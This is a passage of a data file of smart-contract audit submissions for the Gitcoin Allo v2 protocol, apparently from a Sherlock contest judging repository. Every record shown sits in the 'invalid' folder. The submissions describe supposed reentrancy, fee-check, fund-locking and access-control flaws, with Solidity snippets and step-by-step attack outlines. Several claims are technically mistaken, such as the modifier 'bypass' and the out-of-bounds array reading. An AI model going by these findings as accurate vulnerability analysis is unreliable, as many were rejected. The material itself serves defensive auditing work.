metadata.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L439\n```solidity\n// @audit transfers before setting state (reentrancy)\n_transferAmount(pool.token, recipient.recipientAddress, amount);\n\n// Set the milestone status to 'Accepted'\nmilestone.milestoneStatus = Status.Accepted;\n\n// Increment the upcoming milestone\nupcomingMilestone++;\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`_distribute` should use the checks-effects-interactions pattern and set the `milestoneStatus` and `upcomingMilestone` prior to transferring funds to the recipient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/357.md"}} +{"title":"The updateDistribution function can potentially be called multiple times, allowing the merkle root and distribution metadata to be updated more than once","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# The updateDistribution function can potentially be called multiple times, allowing the merkle root and distribution metadata to be updated more than once\nCode assumes updateDistribution can only be called once. A bug could allow it to be called multiple times. The updateDistribution function can potentially be called multiple times, allowing the merkle root and distribution metadata to be updated more than once\n## Vulnerability Detail\nThe key part of the code is: [Link 1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L427-L435) \nThis check only prevents updateDistribution() from being called again if distributionStarted is true.\nHowever, nothing prevents updateDistribution() from being called multiple times before distributionStarted is set to true.\n\nA proof of concept exploit would be:\n1. Call updateDistribution() initially to set merkle root and metadata\n2. Recipients generate merkle proofs and plan distributions based on this\n3. Call updateDistribution() again before distributionStarted is true, changing the merkle root\n4. Now the original merkle proofs will be invalid\nThis allows the allocation details to be changed arbitrarily before the distribution starts.\n\n\n## Impact\nā€¢ The merkle root can be changed after it has already been set. This would invalidate any existing merkle proofs.\nā€¢ The distribution metadata can be changed after it has already been set. This could change allocation details.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L427-L435\n\n## Tool used\n\nManual Review\n\n## Recommendation \nupdateDistribution() should have an additional check that requires merkleRoot to be empty before allowing an update","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/355.md"}} +{"title":"Off by one error forces pool creator to send excess ETH","severity":"info","body":"Sneaky Amethyst Robin\n\nhigh\n\n# Off by one error forces pool creator to send excess ETH\n\nAn off by one error in Allo.sol enforces that the msg.value provided in `_createPool` is strictly greater than the amount to actually be used to pay fees and fund the pool.\n\n## Vulnerability Detail\n\nIn `Allo._createPool`, there exists a revert which reverts if the amount of ETH used in the transaction (just baseFee if not funding the pool with ETH, or baseFee + amount if funding with ETH) is greater than or equal to the msg.value provided. This means that execution will revert unless the msg.value is strictly greater than the amount to be used in the transaction. As a result, when passing the msg.value correctly, users will be left with a costly revert (they have to pay all the gas up to this point), and to successfuly create the pool, they must pass more msg.value than will be used, not receiving that amount back.\n\n## Impact\n\nUsers pool creation transactions will revert unless they send more ETH along with their transaction then will be used.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L473\n```solidity\nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nExecution should only revert if the msg.value is not strictly equal to the required amount to be used. e.g.:\n\n```solidity\nif ((_token == NATIVE && (baseFee + _amount != msg.value)) || (_token != NATIVE && baseFee != msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/354.md"}} +{"title":"A nonReentrant function should not call one another","severity":"info","body":"Refined Pink Duck\n\nhigh\n\n# A nonReentrant function should not call one another\nA nonReentrant function should not call one another as in seen in batchRegisterRecipient and registerRecipient functions.\n\n## Vulnerability Detail\nThe Allo contract implemented Openzeppelin's Upgradeable ReentrancyGuard.\n\nBoth batchRegisterRecipient and registerRecipient functions are external functions marked \"nonReentrant\". And the batchRegisterRecipient function calls the registerRecipient function.\n\nHowever, here's what the Openzeppelin's documentation says about functions marked \"nonReentrant\" calling each other in a contract: \n\n\"Note that because there is a single nonReentrant guard, functions marked as nonReentrant may not call one another. This can be worked around by making those functions private, and then adding external nonReentrant entry points to them.\" See: https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard\n\n## Impact\nReentrancy can occur.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L325C8-L325C99\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L301C6-L304C6\n\n## Tool used\nManual Review\n\n## Recommendation\nMake one function private and the other external nonReentrant as suggested in the Openzeppelin's documentation.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/352.md"}} +{"title":"The poolAmount is subtracted from before the transfer, which can lead to issues if the transfer fails.","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# The poolAmount is subtracted from before the transfer, which can lead to issues if the transfer fails.\nThe poolAmount subtraction happens before the transfer in the _distributeSingle() function. If the transfer fails after that, the accounting would be incorrect\n## Vulnerability Detail\nThe relevant code is: [Link 1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L790) , [Link 2](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L793)\n## Impact\nā€¢ Withdrawing more than the available pool balance later by undercounting transfers out\nā€¢ Double distributing funds if attempted again after a failed transfer\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L790\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L793\nIf _transferAmount() were to revert/fail, the poolAmount would be incorrectly reduced even though no funds were transferred.\nThis could allow:\nā€¢ Withdrawing more than the available pool balance later by undercounting transfers out\nā€¢ Double distributing funds if attempted again after a failed transfer\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTransfer first, then subtracting from the pool amount after","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/349.md"}} +{"title":"Funding added to QVBaseStrategy after distribution started results in locked tokens","severity":"info","body":"Sneaky Amethyst Robin\n\nmedium\n\n# Funding added to QVBaseStrategy after distribution started results in locked tokens\n\nDistribution accounting logic becomes fixed in QVBaseStrategy while it is still possible to fund the pool. The fixed accounting logic results in some of the newly funded tokens to be permanently locked in the contract.\n\n## Vulnerability Detail\n\nDistribution amounts are determined with fixed values for `recipient.totalVotesReceived` and `totalRecipientVotes`. We know these are fixed because they can only be changed during the allocation period. `poolAmount` is also applied to these values to determine payout amounts, but `poolAmount` can be increased at any time with `fundPool`. If we distribute to some or all recipients then further fund the pool (anyone can fund the pool anytime), then some or all of those newly funded tokens will be permanently locked since we can only claim proportional to the amount of recipient votes remaining.\n\nConsider for example the poolAmount has 100e18 tokens and 50% of the totalRecipientVotes have been distributed (50e18 tokens), resulting in the recipients whom those votes belonged to being marked as `paidOut`. Now imagine the pool is funded and the poolAmount is now doubled to 200e18 tokens. The remaining 50% can only be distributed their share of the total votes (100e18 tokens). So all recipients have been distributed to but only 150e18 out of 200e18 tokens have been distributed. Since there's no way to withdraw the tokens or reallocate to distribute further, those 50e18 tokens are permanently locked in the contract.\n\nNote that:\n- `QVBaseStrategy._distribute` accepts an array of recipients, and doesn't necessarily distribute to all recipients at once, possibly resulting in a state of partial distribution\n- A transaction to fund the pool may have taken a long time to be included in a block, and since anyone can fund the pool, it may have gone unnoticed by the pool manager(s), resulting in funding after partial or complete distribution\n\n## Impact\n\nTokens are permanently locked in the contract\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L559\n```solidity\nfunction _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n{\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n // @audit recipient.totalVotesReceived and totalRecipientVotes are fixed values after allocation\n // since poolAmount is not fixed, increases to poolAmount after partial or whole distribution result in lost tokens\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`QVBaseStrategy.increasePoolAmount` should revert after the allocation period has ended. Additionally, since funds can still be transferred to the strategy, emergency withdrawal logic should be included in the contract, ideally only executable after distribution is complete.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/348.md"}} +{"title":"Users can lose funds when creating pool","severity":"info","body":"Passive Golden Skunk\n\nmedium\n\n# Users can lose funds when creating pool\n\n## Vulnerability Detail\n```solidity\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n } \n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\nWhen creating a pool, the [_createPool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L415-L485) function checks that(If baseFee > 0) the msg.value to greater than baseFee + amount. The strictly needed amount for pool creation is baseFee + amount but when msg.value equals baseFee + amount, the function will revert. The user needs to send more amount than necessary, and The excess amount sent by the user won't be returned. Due to that, creating pools will always lead to a loss of funds for users.\n## Impact\nUsers can lose funds\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L415-L485\n## Tool used\n\nManual Review\n\n## Recommendation\n1. Do not revert when baseFee + amount equals msg.value.\nOr\n2. Return the excess amount to users.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/347.md"}} +{"title":"Lost of NATIVE tokens","severity":"info","body":"Cool Leather Leopard\n\nmedium\n\n# Lost of NATIVE tokens\nLost of NATIVE tokens\n\n## Vulnerability Detail\nWhen a user tries to create a pool and send more NATIVE tokens than the `baseFee + amount` then the excessive native tokens will not be refunded and the created pool will just be funded with what the `amount` variable was specified to.\n\n```solidity\n\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n if (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n\n poolId = ++_poolIndex;\n\n // Generate the manager & admin roles for the pool (this is the way we do this throughout the protocol for consistency)\n bytes32 POOL_MANAGER_ROLE = bytes32(poolId);\n bytes32 POOL_ADMIN_ROLE = keccak256(abi.encodePacked(poolId, \"admin\"));\n\n // Create the Pool instance\n Pool memory pool = Pool({\n profileId: _profileId,\n strategy: _strategy,\n metadata: _metadata,\n token: _token,\n managerRole: POOL_MANAGER_ROLE,\n adminRole: POOL_ADMIN_ROLE\n });\n\n // Add the pool to the mapping of created pools\n pools[poolId] = pool;\n\n // Grant admin roles to the pool creator\n _grantRole(POOL_ADMIN_ROLE, msg.sender);\n\n // Set admin role for POOL_MANAGER_ROLE\n _setRoleAdmin(POOL_MANAGER_ROLE, POOL_ADMIN_ROLE);\n\n // initialize strategies\n // Initialization is expected to revert when invoked more than once with 'ALREADY_INITIALIZED()' error\n _strategy.initialize(poolId, _initStrategyData);\n\n if (_strategy.getPoolId() != poolId || address(_strategy.getAllo()) != address(this)) revert MISMATCH();\n\n // grant pool managers roles\n uint256 managersLength = _managers.length;\n for (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS();\n\n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n\n```\n\n\n\n## Impact\nUsers may lose their funds\n\n## Code Snippet\n\n[code snippet](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L485)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nWrite a function to refund excessive funds to their owner on the same transaction.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/346.md"}} +{"title":"Wrong check of conditions could lead to DOS","severity":"info","body":"Cool Leather Leopard\n\nmedium\n\n# Wrong check of conditions could lead to DOS\nWrong check of conditions could lead to DOS\n\n## Vulnerability Detail\nwhen a user tries to create a pool he can call the `createPool()` function which actually call an internal function called `_createPool()` to get the pool ID:\n\n```solidity\n\n function createPool(\n bytes32 _profileId,\n address _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) external payable nonReentrant returns (uint256 poolId) {\n if (!_isCloneableStrategy(_strategy)) {\n revert NOT_APPROVED_STRATEGY();\n }\n\n // Returns the created pool ID\n return _createPool(\n _profileId,\n IStrategy(Clone.createClone(_strategy, _nonces[msg.sender]++)),\n _initStrategyData,\n _token,\n _amount,\n _metadata,\n _managers\n );\n }\n\n```\nWhen calling the _createPool() function, this one performs a wrong check (in line 473) in terms of baseFees amount and msg.value sent by the user:\n\n```solidity\n\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n if (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n\n poolId = ++_poolIndex;\n\n // Generate the manager & admin roles for the pool (this is the way we do this throughout the protocol for consistency)\n bytes32 POOL_MANAGER_ROLE = bytes32(poolId);\n bytes32 POOL_ADMIN_ROLE = keccak256(abi.encodePacked(poolId, \"admin\"));\n\n // Create the Pool instance\n Pool memory pool = Pool({\n profileId: _profileId,\n strategy: _strategy,\n metadata: _metadata,\n token: _token,\n managerRole: POOL_MANAGER_ROLE,\n adminRole: POOL_ADMIN_ROLE\n });\n\n // Add the pool to the mapping of created pools\n pools[poolId] = pool;\n\n // Grant admin roles to the pool creator\n _grantRole(POOL_ADMIN_ROLE, msg.sender);\n\n // Set admin role for POOL_MANAGER_ROLE\n _setRoleAdmin(POOL_MANAGER_ROLE, POOL_ADMIN_ROLE);\n\n // initialize strategies\n // Initialization is expected to revert when invoked more than once with 'ALREADY_INITIALIZED()' error\n _strategy.initialize(poolId, _initStrategyData);\n\n if (_strategy.getPoolId() != poolId || address(_strategy.getAllo()) != address(this)) revert MISMATCH();\n\n // grant pool managers roles\n uint256 managersLength = _managers.length;\n for (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS();\n\n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n\n```\n\nAccording to the comment, the value of `baseFee + _amount should be >= msg.value`. However, if this is satisfied the contract will keep reverting to the `NOT_ENOUGH_FUNDS` error.\n\n## Impact\nDOS\n\n## Code Snippet\n[code snippet](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473-L475)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nYou must change the check or the comment depending on what is the correct one.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/345.md"}} +{"title":"The _recipientIds and _data arrays passed to the distribute() function are assumed to be the same length. If they are different lengths, it could lead to unintended behavior.","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# The _recipientIds and _data arrays passed to the distribute() function are assumed to be the same length. If they are different lengths, it could lead to unintended behavior.\nIt assumes the recipientIds and data arrays are the same length. If they aren't, it will revert. But it could also lead to unintended behavior if they are different lengths. \n## Vulnerability Detail\nThe getPayouts() function takes in two arrays - _recipientIds and _data. It first checks that the arrays are the same length: [Link 1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L218). If they are not the same length, it will revert.\nHowever, if the check passes, it will then loop through the _recipientIds array to get the address: [Link 2](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L221-L222). And use the index from that loop to also index into the _data array and get the corresponding data.\nThis is problematic if the arrays are not the same length. For example:\n_recipientIds = [0x123, 0x456]\n_data = [0x789]\nWhen looping through _recipientIds, it will try to access index 0 and 1 of _data. But _data only has 1 element, so accessing index 1 will read invalid memory and could cause unintended behavior or errors.\n\n## Impact\n- Could call distribute logic on unintended recipients\n- Could pass invalid data to distribute logic\n- Potentially arbitrary unused data used\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L218\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L221-L222\n## Tool used\n\nManual Review\n\n## Recommendation\n- Explicitly check array lengths are same inside loop\n- Use mappings rather than arrays if order doesn't matter\n- Validate data length requirements in strategy specific logic","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/344.md"}} +{"title":"Rebasing tokens used to fund pools are not properly accounted.","severity":"info","body":"Bent Alabaster Hyena\n\nhigh\n\n# Rebasing tokens used to fund pools are not properly accounted.\nIf rebasing tokens are used as tokens to fund the pool, rewards are accrued in the pool and will be stuck forever in the pool since the pool is not properly accounted.\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394-L409\n## Impact\nIf rebasing tokens are used as tokens to fund the pool, rewards are accrued in the pool and will be stuck forever\n## Code Snippet\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\nWithdrawing from the pool is not accounting for the rewards accrued from the rebasing token, If rebasing tokens are used for funding the pool the rewards should be properly accounted for.\n\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nTrack total amounts currently funded and allow funders to withdraw excess on a pro-rata basis","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/343.md"}} +{"title":"Native tokens mistakenly sent to some Strategies will be stuck","severity":"info","body":"Digital Berry Horse\n\nmedium\n\n# Native tokens mistakenly sent to some Strategies will be stuck\nNative tokens mistakenly sent with _allocate()_ to Strategies that don't use Native token will be stuck\n## Vulnerability Detail\nWhen using _allocate()_ from Allo.sol we can use a _msg.value_. This value will be sent to the strategy of the corresponding pool, without checking if the strategy uses the native token. If a user mistakenly sends some native tokens, they will be stuck, since the _withdraw()_ functions use the _token_ of the pool. \n## Impact\nFunds will be lost if users or pool managers send native tokens when allocating to a strategy that is not using native tokens.\n## Code Snippet\nAllo's allocate function that gets the _msg.value_ and sends it to the strategies:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L492-L494\nOne example of withdraw functions, which do not accept the token to be withdrawn as a parameter:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L292-L301\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck that _msg.value == 0_ when allocating inside the strategy if funds are not supposed to be received.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/341.md"}} +{"title":"Just checking the code size of the preCalculatedAddress does not guarantee that it contains a valid Anchor contract","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# Just checking the code size of the preCalculatedAddress does not guarantee that it contains a valid Anchor contract\nThe preCalculatedAddress could already contain a malicious contract instead of a valid Anchor contract. Just checking the code size doesn't guarantee it is safe to use. \n## Vulnerability Detail\nThe key parts of the _generateAnchor() function relating to this are: [Link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L338-L344)\nIt first calculates the predicted anchor address using CREATE3.getDeployed().\nThen it checks if a contract already exists at that address by checking the code size.\nIf code exists, it assumes this is a valid Anchor by simply checking profileId matches.\nBut this doesn't guarantee safety or validity of the contract!\nA malicious actor could:\n1. Predict the anchor address for a profileId\n2. Deploy a malicious contract to that address\n3. When _generateAnchor() is called, the code size check passes\n4. The malicious contract can execute any logic, not just return the profileId\nThis bypasses the validity check since code size > 0.\n\nSo in summary, relying only on code size allows arbitrary contract logic to bypass the validity checks. \n## Impact\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L338-L344 \n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe, _generateAnchor() should:\nā€¢ Validate Anchor code matches expected ABI\nā€¢ Check for expected functions and modifiers\nā€¢ Deploy new Anchor if validation fails\nā€¢ Emit events on deployment to detect malicious attempts","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/339.md"}} +{"title":"Misuse of operaton signs (>=) in _createePool function will cause createPool and createPoolWithCustomStrategy functions to revert","severity":"info","body":"Refined Pink Duck\n\nhigh\n\n# Misuse of operaton signs (>=) in _createePool function will cause createPool and createPoolWithCustomStrategy functions to revert\nMisuse of operaton signs (>=) in _createePool function will cause createPool and createPoolWithCustomStrategy to revert.\n\n## Vulnerability Detail\nbaseFee and _amount are suppose to be greater than or equal to msg.value when added together. And when this is the case, it shouldn't revert with \"NOT_ENOUGH_FUNDS()\", as there are actually enough funds. \n\nHowever, in the affected line (473), when baseFee and _amount are added together and greater than or equal to msg.value, both createPool and createPoolWithCustomStrategy functions, which call the _createPool inaternal function, will revert. The cause of this is the misuse of the operation signs \">=\" in the internal _createPool function.\n\nWhen baseFee plus _amount are greater than or equal to msg.value, it means there are enough funds.\n \n## Impact\ncreatePool and createPoolWithCustomStrategy functions will revert when baseFee and _amount are greater than or equal to msg.value. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473C10-L474C43\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L160C7-L161C1\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L188C3-L196C11\n\n## Tool used\nManual review\n\nManual Review\n\n## Recommendation\nUse \"<\" instead of \">=\" when comparing baseFee + _amount and msg.value.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/338.md"}} +{"title":"onlyProfileOwner modifier can be bypassed by calling removeMembers() directly.","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# onlyProfileOwner modifier can be bypassed by calling removeMembers() directly.\nThe onlyProfileOwner modifier in removeMembers() only checks msg.sender at the time of the function call. This means a malicious contract can bypass it by calling removeMembers() directly.\n## Vulnerability Detail\nThe onlyProfileOwner modifier checks if the msg.sender is the owner of the profile: [Link1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L67-L69) , [Link 2](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L326-L328)\nHowever, this only checks the msg.sender at the time of the function call. A malicious contract could call the removeMembers() function directly, bypassing the onlyProfileOwner modifier. \n\nSo in summary:\nā€¢ Modifiers only check msg.sender at call time\nā€¢ Malicious contract can bypass by calling directly\nā€¢ Need to re-check access control within function as well\nā€¢ Mitigate by adding explicit ownership check inside function\n\n\n## Impact\n- Attacker can remove members from any profile without being the owner\n- Bypasses access control\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L67-L69\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L326-L328\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L306-L317\n## Tool used\n\nManual Review\n\n## Recommendation\naccess control checks should also be done within the removeMembers() function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/336.md"}} +{"title":"Distribution for a rejected milestone is allowed","severity":"info","body":"Brief Silver Porcupine\n\nmedium\n\n# Distribution for a rejected milestone is allowed\nThe 